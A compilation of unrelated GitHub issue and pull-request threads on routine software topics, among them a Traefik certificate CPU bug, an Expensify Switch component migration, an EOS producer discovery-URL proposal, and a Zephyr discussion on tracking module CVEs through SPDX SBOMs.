[Bug]: Traefik using 100% CPU power to obtain SSL certificate

Is there an existing issue for this?

[X] I have searched the existing issues

Example public repository
No response
Description
I'm using Coolify on my server, today I couldn't reach any service anymore. Maybe it is related to #960.
The problem is traefik uses all the CPU power available to obtain a certificate?

I restarted the server, the problem came back four hours later. I restarted again, and the problem is here again, four hours later.
Log of the coolify container:
Error occurred during query execution:
ConnectorError(ConnectorError { user_facing_error: None, kind: ConnectionError(Timed out during query execution.) })
    at RequestHandler.handleRequestError (/app/node_modules/.pnpm/@prisma+client@4.8.1_prisma@4.8.1/node_modules/@prisma/client/runtime/index.js:35033:13)
    at RequestHandler.handleAndLogRequestError (/app/node_modules/.pnpm/@prisma+client@4.8.1_prisma@4.8.1/node_modules/@prisma/client/runtime/index.js:34996:12)
    at RequestHandler.request (/app/node_modules/.pnpm/@prisma+client@4.8.1_prisma@4.8.1/node_modules/@prisma/client/runtime/index.js:34991:12)
    at async PrismaClient._request (/app/node_modules/.pnpm/@prisma+client@4.8.1_prisma@4.8.1/node_modules/@prisma/client/runtime/index.js:36082:16)
    at async proxyConfiguration (/app/routes/webhooks/traefik/handlers.js:244:29) {
  clientVersion: '4.8.1',
  batchRequestIdx: undefined
}

Log of the traefik container:
time="2023-03-25T10:07:46Z" level=error msg="Error getting challenge for token retrying in 1.06680567s" providerName=acme
time="2023-03-25T10:07:46Z" level=error msg="Error getting challenge for token retrying in 4.461442789s" providerName=acme
time="2023-03-25T10:07:46Z" level=error msg="Error getting challenge for token retrying in 1.660496187s" providerName=acme
time="2023-03-25T10:07:46Z" level=error msg="Error getting challenge for token retrying in 3.079001596s" providerName=acme
time="2023-03-25T10:07:46Z" level=error msg="Error getting challenge for token retrying in 557.487367ms" providerName=acme
time="2023-03-25T10:07:46Z" level=error msg="Error getting challenge for token retrying in 993.320114ms" providerName=acme
time="2023-03-25T10:07:46Z" level=error msg="Error getting challenge for token retrying in 400.511773ms" providerName=acme
time="2023-03-25T10:07:46Z" level=error msg="Error getting challenge for token retrying in 1.803194475s" providerName=acme
time="2023-03-25T10:07:46Z" level=error msg="Error getting challenge for token retrying in 4.996652137s" providerName=acme
time="2023-03-25T10:07:46Z" level=error msg="Error getting challenge for token retrying in 1.240275483s" providerName=acme
time="2023-03-25T10:07:46Z" level=error msg="Error getting challenge for token retrying in 8.250202842s" providerName=acme
time="2023-03-25T10:07:46Z" level=error msg="Error getting challenge for token retrying in 10.433872959s" providerName=acme
time="2023-03-25T10:07:46Z" level=error msg="Error getting challenge for token retrying in 1.162634936s" providerName=acme
time="2023-03-25T10:07:46Z" level=error msg="Error getting challenge for token retrying in 18.772722881s" providerName=acme
time="2023-03-25T10:07:47Z" level=error msg="Error getting challenge for token retrying in 635.109057ms" providerName=acme
time="2023-03-25T10:07:47Z" level=error msg="Error getting challenge for token retrying in 11.273638295s" providerName=acme
time="2023-03-25T10:07:47Z" level=error msg="Error getting challenge for token retrying in 12.920123866s" providerName=acme
time="2023-03-25T10:07:47Z" level=error msg="Error getting challenge for token retrying in 1.489574712s" providerName=acme
time="2023-03-25T10:07:47Z" level=error msg="Error getting challenge for token retrying in 7.199134956s" providerName=acme
time="2023-03-25T10:07:47Z" level=error msg="Error getting challenge for token retrying in 3.711563735s" providerName=acme
time="2023-03-25T10:07:47Z" level=error msg="Error getting challenge for token retrying in 9.013768291s" providerName=acme
time="2023-03-25T10:07:47Z" level=error msg="Error getting challenge for token retrying in 360.015238ms" providerName=acme
time="2023-03-25T10:07:47Z" level=error msg="Error getting challenge for token retrying in 2.249935131s" providerName=acme
time="2023-03-25T10:07:47Z" level=error msg="Error getting challenge for token retrying in 621.673443ms" providerName=acme
time="2023-03-25T10:07:47Z" level=error msg="Error getting challenge for token retrying in 1.05521742s" providerName=acme
time="2023-03-25T10:07:47Z" level=error msg="Error getting challenge for token retrying in 6.483162206s" providerName=acme
time="2023-03-25T10:07:47Z" level=error msg="Error getting challenge for token retrying in 719.95238ms" providerName=acme
time="2023-03-25T10:07:47Z" level=error msg="Error getting challenge for token retrying in 1.50584083s" providerName=acme
time="2023-03-25T10:07:47Z" level=error msg="Error getting challenge for token retrying in 5.757326401s" providerName=acme
time="2023-03-25T10:07:47Z" level=error msg="Error getting challenge for token retrying in 939.60806ms" providerName=acme
time="2023-03-25T10:07:47Z" level=error msg="Error getting challenge for token retrying in 1.024561307s" providerName=acme
time="2023-03-25T10:07:47Z" level=error msg="Error getting challenge for token retrying in 2.434809323s" providerName=acme
time="2023-03-25T10:07:47Z" level=error msg="Error getting challenge for token retrying in 2.676992653s" providerName=acme
time="2023-03-25T10:07:47Z" level=error msg="Error getting challenge for token retrying in 4.424679595s" providerName=acme
time="2023-03-25T10:07:47Z" level=error msg="Error getting challenge for token retrying in 10.894801159s" providerName=acme

Do you know what I can do to prevent this behavior?
Steps To Reproduce

Install coolify
Add services with different domains
Wait 3–4 hours

Version
3.12.30

I'm closing this issue, because tracking features will be moved to GitHub discussions. Github issues will be only for bugs.
Version 4 is in full focus. v3 related issues will be closed, if it is not a critical bug.
Thanks for your understanding.


Allow React 15 as a peer dependency

Relaxing the version requirements to be compatible with React 15.

thanks for the pull i'll try to publish it soon


Test combinations of attribute types

@svenmueller please review

@hajoeichler are the attribute files used somewhere?

@svenmueller thx to @stmeissner we now have many combinations.
I have integrated the first bunch in the cucumber test and they already produce a lot of API errors.
Please have a look at them.

@svenmueller file already gone at https://github.com/sphereio/sphere-product-type-json-generator/commit/de2c3834e05836f4b441a30840f5825179bd0a74


Fastpages for Gitlab

Would it be possible to use fastpages with Gitlab instead of Github ? In particular, the idea would be to use the nice framework of fastpages for a blog inside an organization.

Its possible in theory but not something I have time to build out, you are more than welcome to give it a try though.  Fastpages is closely tied to GitHub Actions although I'm sure you could make it work with another system.


17016 migrate switch

Details

This PR changes the soon-to-be deprecated TouchableOpacity used in Switch component to PressableWithFeedback. In addition this PR fixes two warnings which come from OpacityView
Fixed Issues

$ https://github.com/Expensify/App/issues/17016
PROPOSAL: https://github.com/Expensify/App/issues/17016
Tests

You can find switch component on the RHN inside preferences tab and on the Timezone initial page

Navigate to the page which has switch component
Hover and press the switch
Verify that switch works fine and is dimming on press

Test changes in PressableWithFeedback:

Add disabled prop for PressableWithFeedback inside Switch
Switch should be disabled and no dimming can be encountered on hover and pressing
No errors on pressing should appear

[X] Verify that no errors appear in the JS console

Offline tests

Same as Tests steps
QA Steps

Same as Tests steps

[X] Verify that no errors appear in the JS console

PR Author Checklist

[X] I linked the correct issue in the ### Fixed Issues section above
[X] I wrote clear testing steps that cover the changes made in this PR

[X] I added steps for local testing in the Tests section
[X] I added steps for the expected offline behavior in the Offline steps section
[X] I added steps for Staging and/or Production testing in the QA steps section
[X] I added steps to cover failure scenarios (i.e. verify an input displays the correct error message if the entered data is not correct)
[X] I turned off my network connection and tested it while offline to ensure it matches the expected behavior (i.e. verify the default avatar icon is displayed if app is offline)
[X] I tested this PR with a High Traffic account against the staging or production API to ensure there are no regressions (e.g. long loading states that impact usability).

[X] I included screenshots or videos for tests on all platforms
[X] I ran the tests on all platforms & verified they passed on:

[X] Android / native
[X] Android / Chrome
[X] iOS / native
[X] iOS / Safari
[X] MacOS / Chrome / Safari
[X] MacOS / Desktop

[X] I verified there are no console errors (if there's a console error not related to the PR, report it or open an issue for it to be fixed)
[X] I followed proper code patterns (see Reviewing the code)

[X] I verified that any callback methods that were added or modified are named for what the method does and never what callback they handle (i.e. toggleReport and not onIconClick)
[X] I verified that the left part of a conditional rendering a React component is a boolean and NOT a string, e.g. myBool && <MyComponent />.
[X] I verified that comments were added to code that is not self explanatory
[X] I verified that any new or modified comments were clear, correct English, and explained "why" the code was doing something instead of only explaining "what" the code was doing.
[X] I verified any copy / text shown in the product is localized by adding it to src/languages/* files and using the translation method

[X] If any non-english text was added/modified, I verified the translation was requested/reviewed in #expensify-open-source and it was approved by an internal Expensify engineer. Link to Slack message:

[X] I verified all numbers, amounts, dates and phone numbers shown in the product are using the localization methods
[X] I verified any copy / text that was added to the app is grammatically correct in English. It adheres to proper capitalization guidelines (note: only the first word of header/labels should be capitalized), and is approved by marketing by adding the Waiting for Copy label for a copy review on the original GH to get the correct copy.
[X] I verified proper file naming conventions were followed for any new files or renamed files. All non-platform specific files are named after what they export and are not named "index.js". All platform-specific files are named for the platform the code supports as outlined in the README.
[X] I verified the JSDocs style guidelines (in STYLE.md) were followed

[X] If a new code pattern is added I verified it was agreed to be used by multiple Expensify engineers
[X] I followed the guidelines as stated in the Review Guidelines
[X] I tested other components that can be impacted by my changes (i.e. if the PR modifies a shared library or component like Avatar, I verified the components using Avatar are working as expected)
[X] I verified all code is DRY (the PR doesn't include any logic written more than once, with the exception of tests)
[X] I verified any variables that can be defined as constants (ie. in CONST.js or at the top of the file that uses the constant) are defined as such
[X] I verified that if a function's arguments changed that all usages have also been updated correctly
[X] If a new component is created I verified that:

[X] A similar component doesn't exist in the codebase
[X] All props are defined accurately and each prop has a /** comment above it */
[X] The file is named correctly
[X] The component has a clear name that is non-ambiguous and the purpose of the component can be inferred from the name alone
[X] The only data being stored in the state is data necessary for rendering and nothing else
[X] For Class Components, any internal methods passed to components event handlers are bound to this properly so there are no scoping issues (i.e. for onClick={this.submit} the method this.submit should be bound to this in the constructor)
[X] Any internal methods bound to this are necessary to be bound (i.e. avoid this.submit = this.submit.bind(this); if this.submit is never passed to a component event handler like onClick)
[X] All JSX used for rendering exists in the render method
[X] The component has the minimum amount of code necessary for its purpose, and it is broken down into smaller components in order to separate concerns and functions

[X] If any new file was added I verified that:

[X] The file has a description of what it does and/or why is needed at the top of the file if the code is not self explanatory

[X] If a new CSS style is added I verified that:

[X] A similar style doesn't already exist
[X] The style can't be created with an existing StyleUtils function (i.e. StyleUtils.getBackgroundAndBorderStyle(themeColors.componentBG))

[X] If the PR modifies code that runs when editing or sending messages, I tested and verified there is no unexpected behavior for all supported markdown - URLs, single line code, code blocks, quotes, headings, bold, strikethrough, and italic.
[X] If the PR modifies a generic component, I tested and verified that those changes do not break usages of that component in the rest of the App (i.e. if a shared library or component like Avatar is modified, I verified that Avatar is working as expected in all cases)
[X] If the PR modifies a component related to any of the existing Storybook stories, I tested and verified all stories for that component are still working as expected.
[X] If a new page is added, I verified it's using the ScrollView component to make it scrollable when more elements are added to the page.
[X] If the main branch was merged into this PR after a review, I tested again and verified the outcome was still expected according to the Test steps.
[X] I have checked off every checkbox in the PR author checklist, including those that don't apply to this PR.

Screenshots/Videos

Web

https://user-images.githubusercontent.com/61146594/236581906-bd5334c2-c40a-4bec-8a0a-47a83244ff5b.mov

Mobile Web - Chrome

https://user-images.githubusercontent.com/61146594/236581938-18217e10-ca7d-4eab-89a8-c820401a2e77.mov

Mobile Web - Safari

https://user-images.githubusercontent.com/61146594/236582075-473f4553-71f2-47a1-a8f7-c724bfc670fa.MP4

Desktop

https://user-images.githubusercontent.com/61146594/236581969-fc2448e4-1f2c-4121-821d-688f5f421d85.mov

iOS

https://user-images.githubusercontent.com/61146594/236581980-c959f2b0-a49e-48d4-ab79-5681d5c61195.mov

Android

https://user-images.githubusercontent.com/61146594/236581991-96a46906-6b3c-44d9-a814-2bba31faa1cd.mov

When hovered the Switch is dimmed which was not the case while using TochableOpacity. Is it expected behaviour? Was it discussed before? If we hover the switch when it is toggled off, it is too dark.
Screen.Recording.2023-05-08.at.09.13.52.mov

PressableWithFeedback has now implemented hover and press dimming out-of-the box as stated inside the design doc. As there was no dimming for hover before, I've removed it.

Sorry for the problem, as I pushed additional fix for BaseGenericPressable component – it's not changing behaviour of the Switch, but removes the error when disabled state is passed to it (not used in the switch component), so it's worth to include it imo. Sorry for the inconvenience as you already reviewed the changes :/

No worries @robertKozik. I will re-review it once you fixed these issues.

Hello, I changed the dimming value to the one present before this PR – 0.8, hoisted the press callbeck wrapper in order to use it for press and long press, disabled dimming on pressing disabled component, updated the test steps and merged main to this PR

Conflicts has been resolved 👌🏼

Good catch, I forgot to change the test steps to not involve dimming on hover. I did this exactly to mimic the production environment (https://github.com/Expensify/App/pull/18512#issuecomment-1542814182)

:hand: This PR was not deployed to staging yet because QA is ongoing. It will be automatically deployed to staging after the next production release.

🚀 Deployed to staging by https://github.com/deetergp in version: 1.3.15-0 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅

@robertKozik @deetergp  We are not seeing Dimming on the switches. Is this something that need to be enabled in the backend? Should it be internal QA?
https://github.com/Expensify/App/assets/43995119/3c9bbe7f-e213-4b1f-9520-a25005b04abf

@mvtglobally dimming was removed during the PR review process (comment). I just saw I forgot to update test steps. Sorry for that

🚀 Deployed to production by https://github.com/yuwenmemon in version: 1.3.15-12 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅


can't use tagger and chunker because of wapiti on windows

Hi. i can't use the tagger or chunker because of their dependencies on wapiti. and no matter what i do i can't install wapiti.

Hi,
Do you use WSL feature for installing on Windows?

Hi.
Yes and it was solved. Thanks.


Add toString method for an easier debugging

Would be nice to have toString() methods across the lib

Have you considered adding Lombok to this project? This would also be a nice option not just for toString, but also as a reduction of boiler plate code for equals and hashCode and possibly more like constructors and so on. (Unless you do not want this, I'll provide a PR as part of the Hacktoberfest so that you can get an idea how this would look like.)

Feel free to command on my PR (linked above)

Yes, I was actually looking into adding Lombok and then completely forgot about it. This looks good. Would you like to continue refactoring this for the rest of the codebase?

Sure, I can do that. Is there a way to test this including the JSON de-/serialization? That way I could possibly simplify the code a lot. (Otherwise I don't feel confident enough, because I could break something.)

We have JUnit tests you can use to make sure existing functionality still works when you change the code. Feel free to add any unit tests you feel you need to add if you don't think the existing test will suffice. Tests are located src/test folder. We use gradle so to run the test you can run ./gradlew build (using the wrapper on a mac) and it will build the code and run the tests or you can do ./gradlew test. If you are running on a windows machine, that command is gradlew.bat build and gradlew.bat test. Let me know if you have any more questions. I am here to help.

OK, could you maybe merge the PR? I'd like to build on top of that one, but the PR has been unlinked from my fork and I cannot add new commits.

Given that the repo has evolved significantly, there are no plans to add Lombok or merge the PR at the moment, but adding toString(), equals(Object) and hashCode() are on the roadmap. The aim is to have every public data model class (i.e. requests and responses) implement these in a standardised manner.

Done in #508.


qt5dxcb-plugin: init at 1.1.11

Motivation for this change
Add qt5dxcb-plugin (Qt platform integration plugin for Deepin Desktop Environment)
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[x] Fits CONTRIBUTING.md.

@GrahamcOfBorg build deepin.qt5dxcb-plugin

@GrahamcOfBorg build deepin.qt5dxcb-plugin

@GrahamcOfBorg build deepin.qt5dxcb-plugin


Try nuclear option for mobile

On mobile only, remove the transitions entirely for category switches and/or zooms. Try it out, see if it's acceptable / better than very slow animated transitions.

Assigning Marty because he's got the mobile setups going. Please share demos around the Middleton office.

Phew! I was like....I have no idea how to (a) detect if it's mobile and (b) know anything about transitions

Test is launched as of #279. Now we need to look on mobile and see if we want to keep it.

Can't look until the paths thing is fixed.

This does seem way less "wow" factor but also way less frustrating to actually get to the next category.


Lastes <IP_ADDRESS> will flash on page load or change

Latest <IP_ADDRESS> will flash on page load or change.
system version: zui 1.6.320
android version: 6.0.1

Same issue here. Nexus 5 Android 6.0.1

Yeah, I saw this too. I'm sorry about this. Will be fixed today maybe.

Ok so now the problem seems to be fixed, I will release an update now.

Thanks for the quick fix!

Yeah no problem, is now fixed :D

Thanks.

You're welcome


Replaced chart images docker.io->ghcr.io

Q
A

Bug fix?
no

New feature?
yes

API breaks?
no

Deprecations?
no

Related tickets
-

License
Apache 2.0

What's in this PR?

Replaced chart images docker.io->ghcr.io.
Why?

To use the GitHub container repository and avoid being rate limited on certain internal services.
Checklist

~Implementation tested (with at least one cloud provider)~
~Code meets the Developer Guide~
~OpenAPI and Postman files updated (if needed)~
~User guide and development docs updated (if needed)~
[X] Related Helm chart(s) updated (if needed)

I'm going to take responsibility for merging this without waiting for further reviews, because it would be imperative to change the image registry in the next release.


Update get-troubleshootingpack.md

5th example uses Audio troubleshooter, but text referred to Aero - fixed.

@doctordns - sorry for the long delay! I am getting caught up now and will stay on top of these. Much appreciated for all the fixes to the content!


Peer-peer code review

Highlights

You did a great job, good comments lines, and better understanding your code. Good module implementations.
Good git-flow practice.
No linters errors.
Well-structured code.

suggestions

Kindly implement the project deployment to test it on live demo.
Your project has no descriptions, kindly add one for better understanding of your project.

https://github.com/anderCM/Leaderboard/blob/abad2a2d1b239826f7a68418c6f746350d8f2d4c/src/index.js#L8
Kindly, change the 'asdsasadasd' comment in order to have a cleaner code.

Issue fixed in this PR


reddit.app.link False Positive

This is reddit's "open in app" service
Clicking a link from this domain goes from browser->Reddit app (on mobile)

@p1r473  for this one,you can report it upstream and go  from there.The lists comes from a trusted source and i know for a fact that the curator is very careful on which domains are being blocked there. You can also close it here as no action will be taken anyway.

/move to Ultimate-Hosts-Blacklist/whitelist


Add bazam and biobambam to stream realignment CRAM to BAM

Update the WholeGenomeGermlineSingleSample workflow to use Bazam and biobambam to process the input BAM/CRAM into a realigned and sorted/dedupped CRAM just in one step.
Removed the input BAM sharding feature, so the alignment is only parallelised with threads on a single machine. It allows to avoid a lot of overhead copying alignment around and merging, while keeping the run time within 8 hours.
Also added a feature to run a test on one chromosome.
Will put updated input templates into cromwell-config.

Supporting fastq inputs now.


can I use the code to train the model from scratch?

can I use the code to train the model from scratch?

We trained from scratch using the fairseq framework. See #33 for more context.


redundant semicolon

https://github.com/nebulaim/telegramd/blob/555b6b1f0f50811adf6053c0b7b76ae84f1d2e3b/baselib/net2/codec/length_based_frame.go#L86

fixed, thanks


Fix for typo in README

We shouldn't leave such a shocking typo on such a nice description, now should we? ;)
This PR doesn't constitute an endorsement for passive voice, though.

Thank you! This has been bothering me for a while.


[BUG] table line missing characters in windows terminal but not cmd

Describe the bug
Running python -m rich in the latest windows terminal outputs three ??? characters in the line under the column headings.
To Reproduce

Platform

Windows 10
Windows terminal 1.1.2021.0
Python 3.8.2
Rich 4.2.0
Happens with Cascadia, Cascadia Mono, Consolas. Assuming all fonts
Doesn't happen in cmd/powershell/conemu

This is actually a bug in Python itself https://bugs.python.org/issue37871
A workaround would be to chop Rich output in to parts smaller than the buffer size used by Python.

Fixed in v4.2.1

Wow, thanks!

Try 4.2.2
Rich now writes a line at a time, which seems to fix it. I can't reproduce the problem on Windows 10.

Tested on the original PC and it still happens, but tested on another Windows 10 one and it doesn't, so I'm chalking it up to an environment issue on this PC. Thanks for your work on this.


add renaming feature

needs more work to make it so you don't have to add the same name twice,
once with with "<Analog/Digital> <Sterio/Mono>" prefix and once without.
I didn't want to modify the library code to get device.profile.description and remove it from name.
[auser@archmachine ~]$ pactl list sinks | grep Stereo
        Description: ATR USB microphone Analog Stereo
                device.profile.description = "Analog Stereo"
                device.description = "ATR USB microphone Analog Stereo"
        Description: Built-in Audio Analog Stereo
                device.profile.description = "Analog Stereo"
                device.description = "Built-in Audio Analog Stereo"
        Description: GP106 High Definition Audio Controller Digital Stereo (HDMI)
                device.profile.description = "Digital Stereo (HDMI)"
                device.description = "GP106 High Definition Audio Controller Digital Stereo (HDMI)"

here's how I found it useful, from my config file:
 [renames]
renames: {
    'AudioIPC Server': 'FireFox',
    'mpv Media Player': 'MPV',
    'Music Player Daemon': 'MPD',
    'ATR USB microphone': 'ATR mic',
    'ATR USB microphone Analog Stereo': 'ATR mic',
    'GP106 High Definition Audio Controller': 'GTX1060 HD Audio Controller',
    'GP106 High Definition Audio Controller Digital Stereo (HDMI)': 'GTX1060 HD Audio Controller'
    }

looks pretty good :+1:
oops I forgot to add the change initializing the renames dictionary to source control.
I ended up using a dictionary in a section with the same name and not doing it like this with options because parsing an option key with a : crashes the parser.
ast.literal_eval is safe compared to eval, if you're concerned about that and not confident in your regex.

parsing an option key with a : crashes the parser.

Does it? Couldn't reproduce.

needs more work to make it so you don't have to add the same name twice,
once with with "<Analog/Digital> <Sterio/Mono>" prefix and once without.
I didn't want to modify the library code to get device.profile.description and remove it from name.

device.profile.description changes when user changes card profile in F3 tab so it won't solve the need to add the same name twice. Matching should support regexps or at least wildcards, but I haven't given it much thought yet.
'ATR USB microphone*' = 'ATR mic',
'GP106 High Definition Audio Controller*' = 'GTX1060 HD Audio Controller'

Merged, thanks.


Add a discoveryurl to regproducer to facilitate launch and.. discovery.

Right now, there is nothing in chain to identify more information about producers, like their main website, a way to p2p connect to them, some rpc endpoints to reach them, a support email of some sort, a PGP key to transmit messages securely, etc.
I propose adding a "string" typed "discoveryurl" to "regproducer". We should assert it starts with https:// and would point to a proposed json file that would look like this, with all fields optional:
{
"email_support"<EMAIL_ADDRESS>"email_abuse"<EMAIL_ADDRESS>"social_twitter": "https://twitter/example",
"social_telegram": "https://t.me/link",
"social_facenook": "...",
"social_github": "https://github.com/exampleorg",
"pgp_public_key": "....",
"social_keybase": "https://keybase.io/exampleuser",
"eosio_p2p": "peering.example.com:9876",
"eosio_http": "http://http.example.com:8888",
"eosio_https": "https://http.example.com",
"website": "https://example.com",
"organization_name": "EOS Example",
"eosio_authority": {[insert authority structure here]}
}

This will help a lot in the launch to discover where producers are, and will give them the control to modify that info at will.
Right now much of this is in the bios launch file, but it would be better hosted by the BPs. It could easily live directly on github through a raw gist URL or whatever static hosting.

We could/should add also: "logo_url_1024": "https://example.com/logo1024x1024.jpg",.. perhaps also some smaller logos? "logo_url_256"

The whole ideo of the EOS chainsoftware IMHO is to be as 'generic' as possible by leaving out as much as possible, like these hardcoded variables you suggest.
If you look at the producer_object (https://github.com/EOSIO/eos/blob/1e5e1f96571cce3fc29ea6ef265a6c2342983b96/libraries/chain/include/eosio/chain/producer_object.hpp#L12) it is very simplistic / bare minimum setup not even containg a 'shared_string 'url') which steem still had (which is the discovery url you mention - https://github.com/steemit/steem/blob/1cfdf8101ec415156b155c9ec90b0a4d439a039f/libraries/chain/include/steem/chain/witness_objects.hpp#L75), leaving it up for modifications / add-ons on a higher level, for example through a dapp / contract abi.
One could make a dedicated BP Introduction DB storing this kind of data you suggest, which might be a good thing. This way it would still use the chain for storing the (/any) data but not interfere with the strictness of the functionary setup of the software itself.

I'm not sure I understand all your points.
There are many DBs here and there, all with unstructured content about BPs. I suggest a minimal change to the chain, adding a URL, and am proposing a few standard keys for the community to adopt. The json keys wouldn't be on chain or part of eosio software.

Being a URL (and that data not being on chain) means it survives test at reboots,  works across testnets, and most importantly,  works before mainnet launch.

We should add a "timezone" also, with the standard in here: https://en.m.wikipedia.org/wiki/List_of_tz_database_time_zones
Do not reference deprecated zones :-)

This idea is great.

If we are to point to some out of chain resource (like https url to larger JSON) is should be accompanied by a SHA256 fingerprint of that off chain resource.
IPFS would also address that scenario but we need something short term for launch.

The goal is to allow people to change it without affecting the onchain config. I don't see a point in hashing it. Not at this stage. This is basically deferring the authority to the DNS system.

Updated the desc to point to the network-discovery repository.


Update how-to-manage-device-certificates.md

Adding a note to help people avoid #1960

@kpm-at-hfi : Thanks for your contribution! The author(s) have been notified to review your proposed change.

HI @kgremban! I think that sounds fine. I had started with that idea, but I didn't want to seem to lay the iotedge flaw at the feet of libiothsm.

@kpm-at-hfi Great! Thanks for your input. Would you like to update your pull request with these changes?

I think I won't be able to get to it for a while, so I'm content seeing this pull request disappear if you or someone can just take care of it. :)

@ktoliver : Thanks for your contribution! The author(s) have been notified to review your proposed change.

Hi @kgremban - I updated the PR per your comment. Would you let me know if I should merge the PR? Thanks.

Thank you @ktoliver
#sign-off


ENH: Adjudicators

Add adjudicator base class and two simple subclasses in preparation for joint BMM/PDF experiment.
Description

Each adjudicator subclass is required to implement make_judgments, which accepts no args or kwargs, and should return a list of tuples that contain the RE manager API, the agent name, and the Suggestion.
These tuples will by validated by Pydantic models, or can be Judgment objects.
This enables an agent to suggest many plans at once, to multiple beamlines!
Adjustable properties can be incorperated by the server, allowing for web and caproto control.
make_judgments can be called promptly after every new document, or only on user command.
Motivation and Context

The purpose of an adjudicator is to provide another layer of misdirection between the agents and the RunEngine Manager.
This is not required, as agents can send plans directly to the queue.
Alternatively, many agents can send plans to an adjudicator that acts as a meta-agent, filtering and deciding which plans from many agents make it to the queue.
In this way, the adjudicator acts as an extra experiment manager.
Feedback is not provided directly to the agents (i.e. no two way communication), so this is in effect, much like how high level human management communicates with low level employees.
Summary of Changes for Release Notes

Fixed
Added

[x] Adjudicators
[x] README to describe intent
[x]  Pydantic validation of messaging
[x] Agents sending to adjudicator instead of queue

Changed
Removed
How Has This Been Tested?

Unit tested using docker-compose up from testing folder.
TODO:

[x] Test sending plans to non-redundant adjudicator
[x] Test sending plans to agent preferential adjudicator
[x] Test launching adjudicator with uvicorn

I can't seem to figure out why the docs compile nicely on my local machine and fail to compile in the github workflows. Otherwise this is ready for a review and merge.
A k-d tree adjudicator is held for another PR .


Bump version to 24.02.0

Let's merge this so that at least this PR is still merged in February ;) We can then schedule the release for next week.


Vulnerabilities/CVE in Zephyr modules

Hi,
I'd like to check that my Zephyr product is not affected by any CVE. For this, I use the NVD database (using CPE "zephyrproject:zephyr") which mostly links to the "Security Advisories" on this github repository.
However I did not find information about the vulnerabilities in Zephyr modules. Indeed Zephyr is not using mainline modules, but instead use its own repository with some modification. The west.yml points to a commit in this repository. So it means that for every version of Zephyr, since theses modules are part of Zephyr, there should be some information about CVE in these modules I think.
If I take an example, like mbedTLS. The last version of mbedTLS merged in the zephyr mbedTLS module is "3.1.0" if I'm not mistaken (https://github.com/zephyrproject-rtos/mbedtls) but there is a recent CVE on this version (https://nvd.nist.gov/vuln/detail/CVE-2022-35409). How can I know if I'm affected by this one ? If so, is there any fixes that has been added ?
So I would like to know if there is any existing documentation/report about this ? If not, how can I solve this issue ? Should I "manually" check the last merged version (from mainline to zephyr module) and then check CVE for this component ?
Thanks

cc @ceolin

That is a good point that we are bring to security working group. Right now, we don't a process to monitor and publish vulnerabilities on modules. Modules and HALs are "generally" updated before a release. I acknowledge that from the security perspective it is not ideal, so we are planning to use github dependabot to minimize this gap. I'm glad this topic was brought up since we are looking into it.

Hi,
Thanks for your answer.
Do you have any schedule or delivery date for this "feature" ?
Thanks

We don't have a date yet, but I'll come out with a proposal this month. For now the best thing is filling an issue asking for update a module if you find a vulnerability in one of them.

On a close topic, I checked some of the Security advisories for Zephyr and it seems that the commit associated with the CVE (that fixes the vulnerabilities) is not always a dedicated commit/PR (it can include multiple modification not related to the CVE).
I think it could be interesting if your policy forces to have a dedicated commit/PR when it fixes a CVE. That would allow to improve backport for people not using current version (or Long Term).
Would it make sense for you to adopt this policy ?
Thanks

@tgagneret-embedded you may find it useful to attend the bi-weekly security working group meeting.  Details can be found at https://lists.zephyrproject.org/

@kestewart FYI

On a close topic, I checked some of the Security advisories for Zephyr and it seems that the commit associated with the CVE (that fixes the vulnerabilities) is not always a dedicated commit/PR (it can include multiple modification not related to the CVE). I think it could be interesting if your policy forces to have a dedicated commit/PR when it fixes a CVE. That would allow to improve backport for people not using current version (or Long Term).
Would it make sense for you to adopt this policy ?

We disclose the pr that fixes the vulnerability in the respective advisory, but yep, some times it fixes more than the original CVE. This can happen because the developer decided to change how something was implemented or because they found other related issues.  That is something that we can review and have a more strict policy if it makes user's life easier.

A heads up on this item. I've tried to automate it finding for vulnerabilities based on a generated SBOM. I've tested https://github.com/intel/cve-bin-tool, but there are other tools like https://github.com/google/osv-scanner too. The main problem is that our SBOM lacks information like package name and package version, so these tools are not able to identify which modules / libraries are being used and consequently find vulnerabilities on them.
One possibility is introduce more responsibilities for modules maintainers to check for it, but it will be hard to ensure it is properly being done. Our  best shot IMHO is properly fix our SBOM generator and have some of these CVE finding tools integrated in CI.

Hi,
Zephyr provides a SPDX SBOM however this SBOM does not allow to track CVE. This post proposes a solution to fix this.
Currently west spdx generates 3 spdx file:

app.spdx
build.spdx
zephyr.spdx

I will only focus on zephyr.spdx for now.
Currently, Zephyr.spdx contains one package "zephyr-sources" and it contains all the files used to build zephyr library. To allow to track cve spdx file should be update:

Create one package for each project/submodules in west.yml (package would contain cpe, url and version)
Check for each .c file compiled in wich package it is contained and insert the file in the correct package

This is the current zephyr.spdx (truncated):
##### Package: zephyr-sources

PackageName: zephyr-sources
SPDXID: SPDXRef-zephyr-sources
PackageDownloadLocation: NOASSERTION
PackageLicenseConcluded: Apache-2.0 AND BSD-2-Clause AND BSD-3-Clause AND LicenseRef-Nordic-5-Clause AND LicenseRef-T2-
LC3 AND Nordic-5-Clause
PackageLicenseDeclared: NOASSERTION
PackageCopyrightText: NOASSERTION
PackageLicenseInfoFromFiles: Apache-2.0
PackageLicenseInfoFromFiles: BSD-2-Clause
PackageLicenseInfoFromFiles: BSD-3-Clause
PackageLicenseInfoFromFiles: LicenseRef-Nordic-5-Clause
PackageLicenseInfoFromFiles: LicenseRef-T2-LC3
PackageLicenseInfoFromFiles: Nordic-5-Clause
FilesAnalyzed: true
PackageVerificationCode: dfcc87d6d6a69b23d5e73101ba09f3bfffac9b7e

FileName: ./modules/lib/open-amp/open-amp/lib/virtio/virtio.c
SPDXID: SPDXRef-File-virtio.c
FileChecksum: SHA1: 912b847c1d3ad77478dd7aa06765a4f7d5cd2582
FileChecksum: SHA256: f86e11e5333d86ed23d2b602fd3ae8283d295760444362558faa0860ec21e62a
LicenseConcluded: BSD-2-Clause
